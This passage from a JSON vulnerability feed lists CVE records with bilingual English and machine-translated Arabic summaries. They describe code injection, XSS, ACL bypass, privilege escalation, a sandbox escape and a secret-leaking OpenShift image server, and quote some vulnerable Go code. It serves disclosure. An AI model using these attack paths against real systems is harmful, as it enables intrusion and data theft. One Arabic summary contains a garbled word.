0.8.1."},"refs":[["https://github.com/koxudaxi/fastapi-code-generator/security/advisories/GHSA-6xmv-cjr5-w3q8","ref"],["https://github.com/koxudaxi/fastapi-code-generator/commit/49301dbdb82170d7f50877419d994b05cb1fa2bc","ref"],["https://github.com/koxudaxi/fastapi-code-generator/commit/b3b9bd66e0b0c4d8c686fda700258104615a1332","ref"],["https://github.com/koxudaxi/fastapi-code-generator/releases/tag/0.8.1","ref"]],"epss":null,"kevAdded":null,"kevDue":null,"kevAction":null,"ransomware":false,"productSlug":"koxudaxi-fastapi-code-generator"},{"id":"CVE-2026-63470","cvss":9.3,"vector":"CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:H/VI:H/VA:H/SC:N/SI:N/SA:N","cwe":"CWE-94","tags":["RCE"],"zero":false,"exploited":false,"status":"unknown","published":"2026-11-03T19:13:47Z","product":"koxudaxi fastapi-code-generator","affected":[],"title":{"en":"fastapi-code-generator: Call-time RCE via operation summary -> unescaped route-handler docstring","ar":"ثغرة تنفيذ أوامر عن بُعد في koxudaxi fastapi-code-generator"},"summary":{"en":"fastapi-code-generator creates FastAPI applications from OpenAPI files. Prior to 0.8.1, the generator inserts Operation.summary into a generated route-handler docstring as a triple-double-quoted string without escaping embedded triple quotes. An attacker-controlled or attacker-influenced operation summary can close the docstring and inject a valid Python expression statement into the handler body. Syntax-breaking input only causes generation to fail, but syntactically valid generated code executes with the server process's privileges when the affected route handler is called. This call-time route-handler docstring sink is distinct from the project's separate import-time route-path and additional-response-key sinks. This issue is fixed in version 0.8.1.","ar":"fastapi-code-generator creates FastAPI applications from OpenAPI files. Prior to 0.8.1, the generator inserts Operation.summary into a generated route-handler docstring as a triple-double-quoted string without escaping embedded triple quotes. An attacker-controlled or attacker-influenced operation summary can close the docstring and inject a valid Python expression statement into the handler body. Syntax-breaking input only causes generation to fail, but syntactically valid generated code executes with the server process's privileges when the affected route handler is called. This call-time route-handler docstring sink is distinct from the project's separate import-time route-path and additional-response-key sinks. This issue is fixed in version 0.8.1."},"refs":[["https://github.com/koxudaxi/fastapi-code-generator/security/advisories/GHSA-h667-4jj2-cgv4","ref"],["https://github.com/koxudaxi/fastapi-code-generator/commit/49301dbdb82170d7f50877419d994b05cb1fa2bc","ref"],["https://github.com/koxudaxi/fastapi-code-generator/commit/b3b9bd66e0b0c4d8c686fda700258104615a1332","ref"],["https://github.com/koxudaxi/fastapi-code-generator/releases/tag/0.8.1","ref"]],"epss":null,"kevAdded":null,"kevDue":null,"kevAction":null,"ransomware":false,"productSlug":"koxudaxi-fastapi-code-generator"},{"id":"CVE-2026-39379","cvss":7.1,"vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:L/I:H/A:N","cwe":"CWE-79","tags":[],"zero":false,"exploited":false,"status":"unknown","published":"2026-11-03T18:46:29Z","product":"geonetwork core-geonetwork","affected":[],"title":{"en":"GeoNetwork: Reflected XSS through client-side template injection","ar":"GeoNetwork: ثغرة XSS منعكسة عبر حقن القوالب في جهة العميل"},"summary":{"en":"GeoNetwork is a catalog application to manage spatially referenced resources. From 3.0.0 until 4.2.15 and 4.4.10, requesting a nonexistent or unauthorized service URL can cause an error page to reflect attacker-controlled request content inside an AngularJS application without adequately neutralizing it for template evaluation. A remote attacker can induce a victim, including an administrator, to open a crafted link so the reflected value is evaluated as an AngularJS template expression. Combined with known AngularJS sandbox-escape techniques, this can execute arbitrary JavaScript in the victim's authenticated browser session, disclose information, or perform actions as the victim. This issue is fixed in versions 4.2.15 and 4.4.10.","ar":"تطبيق GeoNetwork هو تطبيق كتالوج لإدارة الموارد المرجعية مكانياً. من الإصدار 3.0.0 حتى 4.2.15 و4.4.10، قد يؤدي طلب عنوان URL لخدمة غير موجودة أو غير مصرح بها إلى قيام صفحة خطأ بعرض محتوى الطلب الخاضع لسيطرة المهاجم داخل تطبيق AngularJS دون تحييده بشكل مناسب لتقييم القالب. يمكن لمهاجم عن بُعد حث الضحية، بما في ذلك المسؤول، على فتح رابط مصمم بحيث يتم تقييم القيمة المنعكسة كتعبير قالب AngularJS. بالkـمبادل مع تقنيات الهروب من صندوق الحماية المعروفة لـ AngularJS، يمكن أن يؤدي هذا إلى تنفيذ شيفرة JavaScript عشوائية في جلسة المتصفح المصادق عليها للضحية، أو الكشف عن معلومات، أو تنفيذ إجراءات بصفتك الضحية. تم إصلاح هذه المشكلة في الإصدارين 4.2.15 و4.4.10."},"refs":[["https://github.com/geonetwork/core-geonetwork/security/advisories/GHSA-2v4m-fw6c-g78f","ref"],["https://github.com/geonetwork/core-geonetwork/commit/5cacdfaa6db88ef6787495b496a0871c0058b7f4","ref"],["https://github.com/geonetwork/core-geonetwork/commit/dd99c2ffb642f89b8bf72bafd04d824c9fc0d0ef","ref"],["https://github.com/geonetwork/core-geonetwork/releases/tag/4.2.15","ref"],["https://github.com/geonetwork/core-geonetwork/releases/tag/4.4.10","ref"]],"epss":null,"kevAdded":null,"kevDue":null,"kevAction":null,"ransomware":false,"kevActionAr":"","machineTranslated":true,"productSlug":"geonetwork-core-geonetwork"},{"id":"CVE-2026-121382","cvss":8.7,"vector":"CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N/E:P","cwe":"CWE-190","tags":[],"zero":false,"exploited":false,"status":"unknown","published":"2026-11-03T18:45:19Z","product":"Netcore NBR100V2","affected":[["1.3.240614.030928",null]],"title":{"en":"Netcore NBR100V2 auto_ac msg_aes_dec integer overflow","ar":"ثغرة فيضان الأعداد الصحيحة في auto_ac msg_aes_dec بجهاز Netcore NBR100V2"},"summary":{"en":"A vulnerability was determined in Netcore NBR100V2 1.3.240614.030928. Affected by this issue is the function msg_aes_dec of the file /usr/bin/auto_ac. This manipulation causes integer overflow. Remote exploitation of the attack is possible. The exploit has been publicly disclosed and may be utilized. The vendor was contacted early about this disclosure but did not respond in any way.","ar":"تم تحديد ثغرة في Netcore NBR100V2 1.3.240614.030928. تتأثر بهذه المشكلة دالة msg_aes_dec في الملف /usr/bin/auto_ac. يتسبب هذا التلاعب في فيضان الأعداد الصحيحة. يُعد استغلال الهجوم عن بُعد أمرًا ممكنًا. تم الكشف عن الاستغلال علنًا وقد يتم استخدامه. تم التواصل مع المورد مبكرًا بشأن هذا الكشف لكنه لم يستجب بأي شكل."},"refs":[["https://vuldb.com/cve/CVE-2026-121382","advisory"],["https://vuldb.com/submit/1018496","advisory"],["https://vuldb.com/vuln/430256","ref"],["https://vuldb.com/vuln/430256/cti","ref"]],"epss":null,"kevAdded":null,"kevDue":null,"kevAction":null,"ransomware":false,"kevActionAr":"","machineTranslated":true,"productSlug":"netcore-nbr100v2"},{"id":"CVE-2026-46487","cvss":7.5,"vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N","cwe":"CWE-862","tags":[],"zero":false,"exploited":false,"status":"unknown","published":"2026-11-03T18:44:42Z","product":"geonetwork core-geonetwork","affected":[],"title":{"en":"GeoNetwork: ACL bypass on Elasticsearch search when request body omits query field","ar":"GeoNetwork: تجاوز قائمة التحكم بالوصول (ACL) على بحث Elasticsearch عند إغفال حقل الاستعلام في جسم الطلب"},"summary":{"en":"GeoNetwork is a catalog application to manage spatially referenced resources. From 4.0.0-alpha.1 until 4.2.16 and 4.4.11, the Elasticsearch-backed search proxy can skip GeoNetwork's access-control filter injection when a client request has an omitted query field. The request is then forwarded to Elasticsearch without group visibility, draft exclusion, record ownership, or portal-specific filtering. An unauthenticated remote attacker can use the affected public search API to retrieve the full indexed contents of metadata records that should not be publicly visible. This issue is fixed in versions 4.2.16 and 4.4.11.","ar":"تطبيق GeoNetwork هو تطبيق كتالوج لإدارة الموارد المرجعية مكانياً. من الإصدار 4.0.0-alpha.1 حتى 4.2.16 و4.4.11، يمكن الوكيل البحث المدعوم بـ Elasticsearch تخطي حقن مرشح التحكم بالوصول الخاص بـ GeoNetwork عندما يكون طلب العميل مفتقراً إلى حقل الاستعلام. يتم بعد ذلك توجيه الطلب إلى Elasticsearch بدون رؤية المجموعة، أو استبعاد المسودة، أو ملكية السجل، أو التصفية الخاصة بالبوابة. يمكن لمهاجم عن بُعد دون مصادقة استخدام واجهة برمجة تطبيقات البحث العام المتأثرة لاسترداد محتويات البيانات الوصفية المفهرسة بالكامل والتي يجب ألا تكون مرئية للعامة. تم إصلاح هذه المشكلة في الإصدارين 4.2.16 و4.4.11."},"refs":[["https://github.com/geonetwork/core-geonetwork/security/advisories/GHSA-582q-v28r-7cxr","ref"],["https://github.com/geonetwork/core-geonetwork/commit/1916412d38999f2eff68bad2dfccd69340d20f3f","ref"],["https://github.com/geonetwork/core-geonetwork/commit/6c756c63cd1fa942f3832d99c64380c69c5e8be9","ref"],["https://github.com/geonetwork/core-geonetwork/releases/tag/4.2.16","ref"],["https://github.com/geonetwork/core-geonetwork/releases/tag/4.4.11","ref"]],"epss":null,"kevAdded":null,"kevDue":null,"kevAction":null,"ransomware":false,"kevActionAr":"","machineTranslated":true,"productSlug":"geonetwork-core-geonetwork"},{"id":"CVE-2026-120955","cvss":8.7,"vector":"CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N","cwe":"CWE-476","tags":[],"zero":false,"exploited":false,"status":"unknown","published":"2026-11-03T18:42:39Z","product":"MongoDB C Driver","affected":[["1.25.0 – 1.30.14",null],["2.0.0 – 2.5.7",null]],"title":{"en":"MongoDB C Driver Modern GridFS mongoc_gridfs_bucket_download_to_stream() Aborts Application on Malformed GridFS Metadata","ar":"MongoDB C Driver Modern GridFS mongoc_gridfs_bucket_download_to_stream() ينهي التطبيق عند وجود بيانات وصفية غير صالحة لـ GridFS"},"summary":{"en":"The GridFS file download API in the MongoDB C Driver does not check the result of an internal operation under certain error conditions during file retrieval. This can cause the process to terminate when stream operations continue. A user who can influence file download parameters can trigger this condition, which may result in service unavailability for applications using the affected API.","ar":"واجهة برمجة تطبيقات تنزيل ملفات GridFS في برنامج تشغيل MongoDB C Driver لا تتحقق من نتيجة عملية داخلية في ظل شروط خطأ معينة أثناء استرداد الملف. يمكن أن يتسبب ذلك في إنهاء العملية عند استمرار عمليات التدفق. يمكن للمستخدم الذي يمكنه التأثير على معاملات تنزيل الملفات تشغيل هذا الشرط، مما قد يؤدي إلى عدم توفر الخدمة للتطبيقات التي تستخدم واجهة برمجة التطبيقات المتأثرة."},"refs":[["https://jira.mongodb.org/browse/CDRIVER-6494","ref"]],"epss":null,"kevAdded":null,"kevDue":null,"kevAction":null,"ransomware":false,"kevActionAr":"","machineTranslated":true,"productSlug":"mongodb-c-driver"},{"id":"CVE-2026-120956","cvss":7.1,"vector":"CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:P/VC:L/VI:N/VA:H/SC:N/SI:N/SA:N","cwe":"CWE-617","tags":[],"zero":false,"exploited":false,"status":"unknown","published":"2026-11-03T18:41:44Z","product":"MongoDB C Driver","affected":[["1.25.0 – 1.30.14",null],["2.0.0 – 2.5.7",null]],"title":{"en":"remote abort and memory disclosure from a malformed cursor.ns","ar":"إنهاء عن بُعد والكشف عن الذاكرة من ملف cursor.ns غير صالح"},"summary":{"en":"The MongoDB C Driver does not validate the type or format of a namespace field returned by the server in a query response. A MongoDB endpoint that a client application connects to, without needing any credentials, can return a malformed value in that field. This causes the client application process to terminate, and can also cause the driver to read memory outside an allocated buffer and to send a small amount of the application's own uninitialized heap memory back to the endpoint in a follow-up command. The impact is limited to the process that embeds the driver.","ar":"برنامج تشغيل MongoDB C Driver لا يتحقق من نوع أو تنسيق حقل مساحة الأسماء الذي يرجعه الخادم في استجابة الاستعلام. يمكن لنقطة نهاية MongoDB التي يتصل بها تطبيق العميل، دون الحاجة إلى أي بيانات اعتماد، إرجاع قيمة غير صالحة في هذا الحقل. يتسبب هذا في إنهاء عملية تطبيق العميل، ويمكن أن يتسبب أيضًا في قيام برنامج التشغيل بقراءة الذاكرة خارج مخزن مؤقت مخصص وإرسال كمية صغيرة من ذاكرة التخزين المؤقت الخاصة بالتطبيق وغير المهيأة مرة أخرى إلى نقطة النهاية في أمر متابعة. يقتصر التأثير على العملية التي تدمج برنامج التشغيل."},"refs":[["https://jira.mongodb.org/browse/CDRIVER-6501","ref"]],"epss":null,"kevAdded":null,"kevDue":null,"kevAction":null,"ransomware":false,"kevActionAr":"","machineTranslated":true,"productSlug":"mongodb-c-driver"},{"id":"CVE-2026-120678","cvss":8.7,"vector":"CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N","cwe":"CWE-401","tags":[],"zero":false,"exploited":false,"status":"unknown","published":"2026-11-03T18:39:32Z","product":"MongoDB C Driver","affected":[["1.25.0 – 1.30.14",null],["2.0.0 – 2.5.7",null]],"title":{"en":"mongo-c-driver leaks the decompressed reply buffer when an OP_COMPRESSED reply fails to parse (denial of service)","ar":"mongo-c-driver يُسرب مخزن استجابة إلغاء الضغط المؤقت عند فشل تحليل استجابة OP_COMPRESSED (حجب الخدمة)"},"summary":{"en":"A memory management flaw in the MongoDB C Driver's handling of compressed responses may cause the client library to hold on to memory that is never released. An unauthenticated party that controls the database endpoint a client application connects to may cause repeated, unbounded memory growth in that application, which may result in the application becoming unavailable. No credentials, transport security settings, or user interaction are required.","ar":"خطأ في إدارة الذاكرة في تعامل برنامج تشغيل MongoDB C Driver مع الاستجابات المضغوطة قد يتسبب في احتفاظ مكتبة العميل بالذاكرة التي لا يتم تحريرها مطلقًا. قد يتسبب طرف دون مصادقة يتحكم في نقطة نهاية قاعدة البيانات التي يتصل بها تطبيق العميل في نمو متكرر وغير محدود للذاكرة في هذا التطبيق، مما قد يؤدي إلى عدم توفر التطبيق. لا توجد أي متطلبات لبيانات الاعتماد، أو إعدادات الأمان الخاصة بالنقل، أو تفاعل المستخدم."},"refs":[["https://jira.mongodb.org/browse/CDRIVER-6521","ref"]],"epss":null,"kevAdded":null,"kevDue":null,"kevAction":null,"ransomware":false,"kevActionAr":"","machineTranslated":true,"productSlug":"mongodb-c-driver"},{"id":"CVE-2026-63198","cvss":7.3,"vector":"CVSS:3.1/AV:N/AC:L/PR:L/UI:R/S:U/C:H/I:H/A:N","cwe":"CWE-863","tags":[],"zero":false,"exploited":false,"status":"unknown","published":"2026-11-03T18:38:35Z","product":"traPtitech traQ","affected":[],"title":{"en":"traQ: Privilege escalation by OAuth prompt=none request","ar":"traQ: تصعيد الصلاحيات عبر طلب OAuth باستخدام prompt=none"},"summary":{"en":"traQ is a messenger application built for Digital Creators Club traP. Prior to 3.28.3, OAuth2 silent authorization requests using prompt=none with an empty or omitted scope parameter check prior consent against the empty requested scope set even though all scopes registered for the client become eligible for issuance. An attacker who controls an OAuth client capable of receiving authorization codes can target a user who previously consented to only some client scopes and obtain an access token containing broader registered scopes without additional consent. A user who has never consented to the client still receives consent_required. This issue is fixed in version 3.28.3.","ar":"تطبيق traQ هو تطبيق مراسلة مخصص لـ Digital Creators Club traP. قبل الإصدار 3.28.3، كانت طلبات المصادقة الصامتة في OAuth2 التي تستخدم prompt=none مع معامل نطاق فارغ أو محذوف تتحقق من الموافقة السابقة مقابل مجموعة النطاقات الفارغة المطلوبة على الرغم من أن جميع النطاقات المسجلة للعميل تصبح مؤهلة للإصدار. يمكن للمهاجم الذي يتحكم في عميل OAuth القادر على استقبال رموز المصادقة استهداف مستخدم وافق مسبقًا على بعض نطاقات العميل فقط والحصول على رمز وصول يحتوي على نطاقات مسجلة أوسع دون موافقة إضافية. أما المستخدم الذي لم يوافق قط على العميل فلا يزال يتلقى consent_required. تمت معالجة هذه المشكلة في الإصدار 3.28.3."},"refs":[["https://github.com/traPtitech/traQ/security/advisories/GHSA-8cfq-jgf7-8m27","ref"],["https://github.com/traPtitech/traQ/commit/5510fe8aa9bb15fc4755c78792381dbb03d576c3","ref"],["https://github.com/traPtitech/traQ/releases/tag/v3.28.3","ref"]],"epss":null,"kevAdded":null,"kevDue":null,"kevAction":null,"ransomware":false,"kevActionAr":"","machineTranslated":true,"productSlug":"traptitech-traq"},{"id":"CVE-2026-82976","cvss":7.1,"vector":"CVSS:3.1/AV:A/AC:L/PR:N/UI:N/S:U/C:H/I:L/A:N","cwe":"CWE-548","tags":["Cloud"],"zero":false,"exploited":false,"status":"unknown","published":"2026-11-03T18:36:24Z","product":"Red Hat Red Hat OpenShift Container Platform 4","affected":[],"title":{"en":"Image-customization-controller: unauthenticated plaintext image server with directory listing exposes ignition images containing cluster pull secret","ar":"ثغرة عالية الخطورة في Red Hat Red Hat OpenShift Container Platform 4"},"summary":{"en":"A flaw was found in the image-customization-controller used in OpenShift's bare metal provisioning stack. The controller registers an HTTP file server on port 8084 with no authentication. The custom imageFileSystem implementation exposes a browsable HTML directory listing of all registered images at the root path. The only access control on per-host images is the random UUID filename; the directory listing discloses those UUIDs to any caller on the provisioning network. Each served image embeds an Ignition config containing the base64-encoded cluster pull secret, optional IRONIC_RAMDISK_SSH_KEY, proxy settings, and per-host NetworkManager keyfiles. An adjacent network attacker can enumerate all image UUIDs via directory listing, download any image, extract the embedded Ignition config, and recover the cluster pull secret and SSH key. ### Evidence **pkg/imagehandler/imagefilesystem.go — root directory is browsable and enumerates all UUID image names** ```go func (f *imageFileSystem) Readdir(n int) ([]fs.FileInfo, error) { f.mu.Lock() defer f.mu.Unlock() result := []fs.FileInfo{} for _, im := range f.images { result = append(result, im) } return result, nil } func (f *imageFileSystem) Open(name string) (http.File, error) { f.log.Info(\"Open\", \"path\", name) if name == \"/\" { return f, nil } ... ``` **cmd/controller/main.go — file server bound on all interfaces without auth or TLS** ```go http.Handle(\"/\", http.FileServer(imageServer.FileSystem())) go func() { server := &http.Server{ Addr: imagesBindAddr, // default \":8084\" ReadHeaderTimeout: 5 * time.Second, } err := server.ListenAndServe() ``` **pkg/ignition/service_config.go:94-100 — pull secret is embedded in every served image** ```go func (b *ignitionBuilder) authFile() ignition_config_types_32.File { source := \"data:;base64,\" + strings.TrimSpace(b.ironicAgentPullSecret) return ignition_config_types_32.File{ Node: ignition_config_types_32.Node{Path: \"/etc/authfile.json\"}, ... ``` ### Attack Pattern Adjacent provisio…","ar":"A flaw was found in the image-customization-controller used in OpenShift's bare metal provisioning stack. The controller registers an HTTP file server on port 8084 with no authentication. The custom imageFileSystem implementation exposes a browsable HTML directory listing of all registered images at the root path. The only access control on per-host images is the random UUID filename; the directory listing discloses those UUIDs to any caller on the provisioning network. Each served image embeds an Ignition config containing the base64-encoded cluster pull secret, optional IRONIC_RAMDISK_SSH_KEY, proxy settings, and per-host NetworkManager keyfiles. An adjacent network attacker can enumerate all image UUIDs via directory listing, download any image, extract the embedded Ignition config, and recover the cluster pull secret and SSH key. ### Evidence **pkg/imagehandler/imagefilesystem.go — root directory is browsable and enumerates all UUID image names** ```go func (f *imageFileSystem) Readdir(n int) ([]fs.FileInfo, error) { f.mu.Lock() defer f.mu.Unlock() result := []fs.FileInfo{} for _, im := range f.images { result = append(result, im) } return result, nil } func (f *imageFileSystem) Open(name string) (http.File, error) { f.log.Info(\"Open\", \"path\", name) if name == \"/\" { return f, nil } ... ``` **cmd/controller/main.go — file server bound on all interfaces without auth or TLS** ```go http.Handle(\"/\", http.FileServer(imageServer.FileSystem())) go func() { server := &http.Server{ Addr: imagesBindAddr, // default \":8084\" ReadHeaderTimeout: 5 * time.Second, } err := server.ListenAndServe() ``` **pkg/ignition/service_config.go:94-100 — pull secret is embedded in every served image** ```go func (b *ignitionBuilder) authFile() ignition_config_types_32.File { source := \"data:;base64,\" + strings.TrimSpace(b.ironicAgentPullSecret) return ignition_config_types_32.File{ Node: ignition_config_types_32.Node{Path: \"/etc/authfile.json\"}, ... ``` ### Attack Pattern Adjacent provisio…"},"refs":[["https://access.redhat.com/security/cve/CVE-2026-82976","ref"],["https://bugzilla.redhat.com/show_bug.cgi?id=2526334","ref"],["https://github.com/openshift/image-customization-controller","ref"],["https://redhat.atlassian.net/browse/OCPBUGS-105396","ref"]],"epss":null,"kevAdded":null,"kevDue":null,"kevAction":null,"ransomware":false,"productSlug":"red-hat-openshift-container-platform"},{"id":"CVE-2026-63197","cvss":7.3,"vector":"CVSS:3.1/AV:N/AC:L/PR:L/UI:R/S:U/C:H/I:H/A:N","cwe":"CWE-79","tags":[],"zero":false,"exploited":false,"status":"unknown","published":"2026-11-03T18:26:21Z","product":"traPtitech traQ","affected":[],"title":{"en":"traQ: XSS in the User Uploaded File Retrieval API","ar":"traQ: XSS في واجهة برمجة تطبيقات استرجاع الملفات المرفوعة من قِبل المستخدم"},"summary":{"en":"traQ is a messenger application built for Digital Creators Club traP. Prior to 3.28.3, instances configured with TRAQ_STORAGE_TYPE=local can return user-uploaded SVG or HTML content from the /files/{fileId} retrieval endpoint for direct browser rendering. An attacker with file-upload capability can provide crafted active content and induce another user to open its file URL, causing attacker-controlled JavaScript to execute in the victim's browser. This issue is fixed in version 3.28.3.","ar":"تطبيق traQ هو تطبيق مراسلة مخصص لـ Digital Creators Club traP. قبل الإصدار 3.28.3، يمكن للنسخ المثبتة التي تم إعدادها باستخدام TRAQ_STORAGE_TYPE=local إرجاع محتوى SVG أو HTML مرفوع من قِبل المستخدم من نقطة نهاية الاسترجاع /files/{fileId} لغرض عرضه مباشرة في المتصفح. يمكن للمهاجم الذي يمتلك صلاحية رفع الملفات توفير محتوى نشط مصمم خصيصاً وحث مستخدم آخر على فتح رابط الملف الخاص به، مما يتسبب في تنفيذ شيفرة JavaScript يسيطر عليها المهاجم داخل متصفح الضحية. تم إصلاح هذه المشكلة في الإصدار 3.28.3."},"refs":[["https://github.com/traPtitech/traQ/security/advisories/GHSA-p74g-f95m-7fx7","ref"],["https://github.com/traPtitech/traQ/commit/3db29e7771661f6418d88d186d8ff7817f5d6b6e","ref"],["https://github.com/traPtitech/traQ/releases/tag/v3.28.3","ref"]],"epss":null,"kevAdded":null,"kevDue":null,"kevAction":null,"ransomware":false,"kevActionAr":"","machineTranslated":true,"productSlug":"traptitech-traq"},{"id":"CVE-2026-63417","cvss":8.2,"vector":"CVSS:4.0/AV:N/AC:L/AT:P/PR:N/UI:N/VC:H/VI:N/VA:N/SC:N/SI:N/SA:N","cwe":"CWE-532","tags":[],"zero":false,"exploited":false,"status":"unknown","published":"2026-11-03T18:21:15Z","product":"armurox loggingredactor","affected":[],"title":{"en":"Logging Redactor: PII data in str/repr of non primitive objects was not being redacted","ar":"Logging Redactor: عدم حجب البيانات الشخصية (PII) ضمن دوال str/repr للكائنات غير البدائية"},"summary":{"en":"Logging Redactor is a Python library designed to redact sensitive data in logs based on regex patterns and / or dictionary keys. Prior to 0.0.7, personally identifiable information returned by custom object __str__ or __repr__ methods is not redacted when such non-primitive objects are logged, causing sensitive values to appear in logs that are expected to mask them. This issue is fixed in version 0.0.7.","ar":"مكتبة Logging Redactor هي مكتبة Python مصممة لحجب البيانات الحساسة في السجلات بناءً على أنماط التعبير المنتظم (regex) و/أو مفاتيح القواميس. قبل الإصدار 0.0.7، لا يتم حجب معلومات التعريف الشخصية المُعادة بواسطة دوال __str__ أو __repr__ للكائنات المخصصة عند تسجيل مثل هذه الكائنات غير البدائية، مما يتسبب في ظهور قيم حساسة في السجلات التي يُتوقع منها إخفاؤها. تم إصلاح هذه المشكلة في الإصدار 0.0.7."},"refs":[["https://github.com/armurox/loggingredactor/security/advisories/GHSA-w7qv-268h-9h3f","ref"],["https://github.com/armurox/loggingredactor/issues/12","ref"],["https://github.com/armurox/loggingredactor/pull/15","ref"],["https://github.com/armurox/loggingredactor/commit/361a528e56437b9c269e69f3863de4b3e568391b","ref"],["https://github.com/armurox/loggingredactor/releases/tag/0.0.7","ref"]],"epss":null,"kevAdded":null,"kevDue":null,"kevAction":null,"ransomware":false,"kevActionAr":"","machineTranslated":true,"productSlug":"armurox-loggingredactor"},{"id":"CVE-2026-119922","cvss":8.8,"vector":"CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H","cwe":"CWE-266","tags":["Cloud"],"zero":false,"exploited":false,"status":"patched","published":"2026-11-03T18:08:48Z","product":"AWS babelfish-for-postgresql","affected":[["1.2 – 1.5",null],["2.1 – 2.15",null],["3.1 – 3.12",null],["4.0 – 4.8",null],["5.1 – 5.4",null]],"title":{"en":"Babelfish for PostgreSQL Privilege Escalation","ar":"تصعيد الصلاحيات في Babelfish لـ PostgreSQL"},"summary":{"en":"Improper access control in the Babelfish for PostgreSQL extension versions 1.2-1.5, 2.1-2.15, 3.1-3.12, 4.0-4.8, 5.1-5.4 may allow remote authenticated users to elevate their privileges. To remediate this issue, we recommend you upgrade to Babelfish for PostgreSQL extension versions 4.10, 5.6, 6.1 or later.","ar":"قد يتيح التحكم غير السليم في الوصول ضمن امتداد Babelfish لـ PostgreSQL بالإصدارات 1.2-1.5، و2.1-2.15، و3.1-3.12، و4.0-4.8، و5.1-5.4 للمستخدمين المصدق عن بُعد تصعيد صلاحياتهم. لمعالجة هذه المشكلة، نوصي بترقية امتداد Babelfish لـ PostgreSQL إلى الإصدارات 4.10 أو 5.6 أو 6.1 أو الإصدارات الأحدث."},"refs":[["https://github.com/babelfish-for-postgresql/babelfish-for-postgresql/releases#release-BABEL_4_10_0__PG_16_14","patch"],["https://github.com/babelfish-for-postgresql/babelfish-for-postgresql/releases#release-BABEL_5_6_0__PG_17_10","patch"],["https://github.com/babelfish-for-postgresql/babelfish-for-postgresql/releases/tag/BABEL_6_1_0__PG_18_4","patch"],["https://aws.amazon.com/security/security-bulletins/2026-165-aws/","advisory"],["https://github.com/babelfish-for-postgresql/babelfish_extensions/security/advisories/GHSA-fv9p-9rr9-fm35","advisory"]],"epss":null,"kevAdded":null,"kevDue":null,"kevAction":null,"ransomware":false,"kevActionAr":"","machineTranslated":true,"productSlug":"aws-babelfish-for-postgresql"},{"id":"CVE-2026-63418","cvss":7,"vector":"CVSS:3.1/AV:L/AC:H/PR:L/UI:N/S:U/C:H/I:H/A:H","cwe":"CWE-190","tags":["LPE"],"zero":false,"exploited":false,"status":"unknown","published":"2026-11-03T18:06:25Z","product":"monitoring-plugins monitoring-plugins","affected":[],"title":{"en":"Monitoring Plugins check_icmp: -H argument count overflow leads in setuid-root binary","ar":"Monitoring Plugins check_icmp: فيضان عداد وسيط -H يؤدي إلى مشكلة في ثنائيات setuid-root"},"summary":{"en":"Monitoring Plugins is a suite of plugins for monitoring applications. From 3.0.0-rc1 until 3.0.1, check_icmp stores the number of hosts supplied through -H or --Host on the command line, or through --extra-opts files containing Host= entries, in an unsigned short. More than 65,535 hosts wrap the counter, causing process_arguments() to allocate an undersized hosts array and then write subsequent entries out of bounds before main() calls setuid(getuid()). On installations where check_icmp is setuid root, a local low-privileged attacker can corrupt heap memory while the process still has root privileges; reliable privilege escalation has not been demonstrated. Installations that use cap_net_raw file capabilities instead of setuid are not exposed to the privilege-escalation consequence. This issue is fixed in version 3.0.1.","ar":"حزمة Monitoring Plugins هي مجموعة من الملحقات لمراقبة التطبيقات. من الإصدار 3.0.0-rc1 وحتى 3.0.1، يقوم check_icmp بتخزين عدد المضيفين المُزودين عبر وسيط -H أو --Host في سطر الأوامر، أو عبر ملفات --extra-opts التي تحتوي على مُدخلات Host=، في نوع بيانات unsigned short. يؤدي وجود أكثر من 65,535 مضيفاً إلى تجاوز سعة العداد، مما يتسبب في قيام الدالة process_arguments() بتخصيص مصفوفة مضيفين ذات حجم غير كافٍ ثم كتابة الإدخالات اللاحقة خارج الحدود قبل أن تقوم الدالة main() استدعاء setuid(getuid()). في التثبيتات التي يكون فيها check_icmp بصلاحيات setuid root، يمكن لمهاجم محلي ذي صلاحيات منخفضة إفساد ذاكرة التخزين المؤقت (heap) بينما لا يزال النظام يمتلك صلاحيات root؛ ولم يتم إثبات إمكانية تصعيد الصلاحيات بشكل موثوق. لا تتأثر التثبيتات التي تستخدم إمكانيات ملفات cap_net_raw بدلاً من setuid بنتيجة تصعيد الصلاحيات. تم إصلاح هذه المشكلة في الإصدار 3.0.1."},"refs":[["https://github.com/monitoring-plugins/monitoring-plugins/security/advisories/GHSA-xvvw-4j77-rp7q","ref"],["https://github.com/monitoring-plugins/monitoring-plugins/commit/c35c12e58d326ffbd6cfb3c9097653f9f3fb2f4a","ref"],["https://github.com/monitoring-plugins/monitoring-plugins/releases/tag/v3.0.1","ref"]],"epss":null,"kevAdded":null,"kevDue":null,"kevAction":null,"ransomware":false,"kevActionAr":"","machineTranslated":true,"productSlug":"monitoring-plugins"},{"id":"CVE-2026-44267","cvss":9.8,"vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H","cwe":"CWE-79","tags":[],"zero":false,"exploited":false,"status":"patched","published":"2026-11-03T17:53:42Z","product":"@enspirit/elo","affected":[["<= 1.0.0","1.0.1"]],"title":{"en":"Elo JavaScript emitter has sandbox escape to arbitrary Node.js / browser code execution via unfiltered `.constructor` member access","ar":"ثغرة XSS في @enspirit/elo"},"summary":{"en":"### Summary An unauthenticated attacker who controls a string passed to any Elo JavaScript-emission path — `defaultFormats.elo.parse()`, the `bin/elo` CLI, or the live browser playground at `elo-lang.org/try` — can execute arbitrary code in the host JavaScript runtime. A payload built from the `.constructor.constructor` chain compiles, without modification, to a live `Function` invocation in the emitted JavaScript, escaping any sandbox assumption around \"Elo is a safe data/DSL language.\" ### Vulnerable sink and root cause Three interacting sites in `src/` produce the bug at commit `749af7b`: 1. **`src/transform.ts:144–158`** — the `member_access` handler allows access on types `any`, `object`, or `array` without filtering the property name. This is the only place an integrator could have plugged a denylist. 2. **`src/compilers/javascript.ts:210`** — the JS emitter writes `${objectExpr}.${ir.property}` verbatim into the 